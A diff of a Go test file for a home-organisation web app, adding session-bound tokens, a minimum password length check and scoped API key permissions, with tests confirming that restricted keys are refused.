@@ -1236,10 +1238,10 @@ func TestDocumentSharingStrictlyReadOnly(t *testing.T) {
|
||||
router := srv.Router()
|
||||
|
||||
userA, _ := store.CreateUser("user_a_ro@example.com", "hash", "User A", "member")
|
||||
tokenA, _ := auth.GenerateToken(srv.cfg.JWTSecret, userA.ID, userA.Email, userA.DisplayName, userA.TokenVersion)
|
||||
tokenA, _ := auth.GenerateToken(srv.cfg.JWTSecret, userA.ID, userA.Email, userA.DisplayName, userA.TokenVersion, testSession(t, store, userA.ID))
|
||||
|
||||
userB, _ := store.CreateUser("user_b_ro@example.com", "hash", "User B", "member")
|
||||
tokenB, _ := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion)
|
||||
tokenB, _ := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion, testSession(t, store, userB.ID))
|
||||
|
||||
// Create document owned by User A
|
||||
blocks := []domain.DocumentBlock{
|
||||
@@ -1344,7 +1346,16 @@ func TestFirstBootSetupWithSampleData(t *testing.T) {
|
||||
defer store.Close()
|
||||
srv := NewServer(&config.Config{Port: "8080", DatabasePath: dbPath, JWTSecret: "test-jwt-secret-key"}, store, ws.NewHub(), nil)
|
||||
|
||||
body := []byte(`{"email":"me@example.com","password":"secret","displayName":"Ich","createSampleData":true}`)
|
||||
// Too short passwords are refused (FLAW-09)
|
||||
short := httptest.NewRequest(http.MethodPost, "/api/v1/auth/setup", strings.NewReader(`{"email":"me@example.com","password":"secret"}`))
|
||||
short.Header.Set("Content-Type", "application/json")
|
||||
shortRec := httptest.NewRecorder()
|
||||
srv.Router().ServeHTTP(shortRec, short)
|
||||
if shortRec.Code != http.StatusBadRequest || !strings.Contains(shortRec.Body.String(), "mindestens 8 Zeichen") {
|
||||
t.Fatalf("setup with 6 characters: want 400, got %d %s", shortRec.Code, shortRec.Body.String())
|
||||
}
|
||||
|
||||
body := []byte(`{"email":"me@example.com","password":"secret123","displayName":"Ich","createSampleData":true}`)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/setup", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
@@ -1407,13 +1418,13 @@ func TestLegalTextsArePublic(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// API keys have exactly one right until scopes exist: delivering data. Revoked sessions are refused
|
||||
// API keys only deliver data, and only what their scopes allow (FLAW-07). Revoked sessions are refused
|
||||
// everywhere, the webhook ingest included.
|
||||
func TestAPIKeysOnlyDeliverData(t *testing.T) {
|
||||
srv, store, token := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
claims, _ := auth.ValidateToken(testJWTSecret, token)
|
||||
key, err := store.CreateAPIKey(claims.UserID, "Home Assistant")
|
||||
key, err := store.CreateAPIKey(claims.UserID, "Home Assistant", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CreateAPIKey: %v", err)
|
||||
}
|
||||
@@ -1432,8 +1443,37 @@ func TestAPIKeysOnlyDeliverData(t *testing.T) {
|
||||
if code := do(http.MethodPost, "/api/v1/inbox", key.RawKey, `{"content":"Waschmaschine fertig"}`); code >= 300 {
|
||||
t.Fatalf("API key must be able to post into the inbox, got %d", code)
|
||||
}
|
||||
if code := do(http.MethodPost, "/api/v1/inbox", key.RawKey, `{"content":"Filter wechseln","target":"task"}`); code >= 300 {
|
||||
t.Fatalf("API key must be able to create a task via the inbox, got %d", code)
|
||||
// Default key = triage only
|
||||
if code := do(http.MethodPost, "/api/v1/inbox", key.RawKey, `{"content":"Filter wechseln","target":"task"}`); code != http.StatusForbidden {
|
||||
t.Fatalf("triage-only key must not create tasks, got %d", code)
|
||||
}
|
||||
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", key.RawKey, `{"content":"Milch","target":"list_item","listId":"x"}`); code != http.StatusForbidden {
|
||||
t.Fatalf("triage-only key must not add list items, got %d", code)
|
||||
}
|
||||
full, _ := store.CreateAPIKey(claims.UserID, "Alles", []string{"webhook:task", "webhook:list"})
|
||||
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"title":"Filter wechseln","target":"task","priority":"high"}`); code != http.StatusCreated {
|
||||
t.Fatalf("task scope must create a task, got %d", code)
|
||||
}
|
||||
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"content":"Rauchmelder"}`); code != http.StatusForbidden {
|
||||
t.Fatalf("key without triage scope must not fill the inbox, got %d", code)
|
||||
}
|
||||
list, _ := store.CreateList(claims.UserID, "Einkauf", "", "shopping")
|
||||
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"content":"Milch","target":"list_item","listId":"`+list.ID+`","quantity":"2"}`); code != http.StatusCreated {
|
||||
t.Fatalf("list scope must add the item, got %d", code)
|
||||
}
|
||||
if items, _ := store.GetListItems(list.ID); len(items) != 1 || items[0].Quantity != "2" {
|
||||
t.Fatalf("list item not stored: %+v", items)
|
||||
}
|
||||
other, _ := store.CreateUser("other@example.com", "hash", "Other", "member")
|
||||
foreign, _ := store.CreateList(other.ID, "Fremd", "", "shopping")
|
||||
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"content":"Spam","target":"list_item","listId":"`+foreign.ID+`"}`); code != http.StatusNotFound {
|
||||
t.Fatalf("key must not write into lists its owner cannot see, got %d", code)
|
||||
}
|
||||
// Keys never open live streams (those carry the user's data)
|
||||
streamReq := httptest.NewRequest(http.MethodGet, "/api/v1/events", nil)
|
||||
streamReq.Header.Set("Authorization", "Bearer "+full.RawKey)
|
||||
if uid := srv.authenticateUserFromReq(streamReq); uid != "" {
|
||||
t.Fatalf("API key must not authenticate a live stream")
|
||||
}
|
||||
if code := do(http.MethodGet, "/api/v1/documents", key.RawKey, ""); code != http.StatusForbidden {
|
||||
t.Fatalf("API key must not read notes, got %d", code)
|
||||
@@ -1485,3 +1525,13 @@ func TestPasswordResetFlow(t *testing.T) {
|
||||
t.Errorf("token must work only once, got %d", code)
|
||||
}
|
||||
}
|
||||
|
||||
// testSession starts a server-side session, as a login would, for tokens made directly in tests.
|
||||
func testSession(t *testing.T, store *storage.Store, userID string) string {
|
||||
t.Helper()
|
||||
sid, err := store.CreateSession(userID, "go-test", "192.0.2.1")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateSession: %v", err)
|
||||
}
|
||||
return sid
|
||||
}
|
||||
Loaded 100 of 137 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user